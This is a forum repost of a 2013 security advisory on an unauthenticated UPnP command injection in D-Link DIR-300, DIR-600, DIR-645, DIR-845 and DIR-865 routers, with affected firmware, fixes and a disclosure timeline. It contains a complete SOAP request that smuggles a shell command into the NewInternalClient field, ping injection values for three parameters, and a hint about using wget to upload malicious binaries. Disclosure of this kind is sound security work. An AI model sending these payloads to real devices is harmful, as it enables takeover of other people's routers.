Matt Posted July 9, 2013 Report Posted July 9, 2013 Description : D-Link devices DIR-300 rev B, DIR-600 rev B, DIR-645, DIR-845, and DIR-865 suffer from a remote command injection vulnerability. The vulnerability is caused due to missing input validation in different XML parameters.Author : Michael MessnerSource : D-Link UPnP OS Command Injection ? Packet StormCode : Vendor: D-LinkDevices: DIR-300 rev B / DIR-600 rev B / DIR-645 / DIR-845 / DIR-865============ Vulnerable Firmware Releases: ============DIR-300 rev B - 2.14b01DIR-600 - 2.16b01DIR-645 - 1.04b01DIR-845 - 1.01b02DIR-865 - 1.05b03Other devices and firmware versions may be also vulnerable.============ Vulnerability Overview: ============ * Unauthenticated OS Command Injection The vulnerability is caused by missing input validation in different XML parameters. This vulnerability could be exploited to inject and execute arbitrary shell commands.WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.Hint: On different devices wget is preinstalled and you are able to upload and execute your malicious binary.=> Parameter: NewInternalClient, NewInternalClient, NewInternalPortExample Request:POST /soap.cgi?service=WANIPConn1 HTTP/1.1SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"Host: 10.8.28.133:49152Content-Type: text/xmlContent-Length: 649<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription></NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`COMMAND`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping></SOAP-ENV:Body></SOAP-ENV:Envelope>You could use miranda for your own testing:* NewInternalClientRequired argument:Argument Name: NewInternalClientData Type: stringAllowed Values: []Set NewInternalClient value to: `ping 192.168.0.100`* NewExternalPortRequired argument:Argument Name: NewExternalPortData Type: ui2Allowed Values: []Set NewExternalPort value to: `ping 192.168.0.100`* NewInternalPortRequired argument:Argument Name: NewInternalPortData Type: ui2Allowed Values: []Set NewInternalPort value to: `ping 192.168.0.100`Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/dir-865-v105-shell.png============ Solution ============DIR-300 rev B - disable UPnPDIR-600 - update to v2.17b01DIR-645 - update to v1.04b11DIR-845 - update to v1.02b03DIR-865 - disable UPnP============ Credits ============The vulnerability was discovered by Michael MessnerMail: devnull#at#s3cur1ty#dot#deWeb: http://www.s3cur1ty.de/advisoriesTwitter: @s3cur1ty_de============ Time Line: ============06.06.2013 - discovered vulnerability07.06.2013 - reported vulnerability to vendor=> some fixes are available but there is no communication with the vendor06.07.2013 - public disclosure at Sigint 201306.07.2013 - public disclosure of advirsory===================== Advisory end ===================== Quote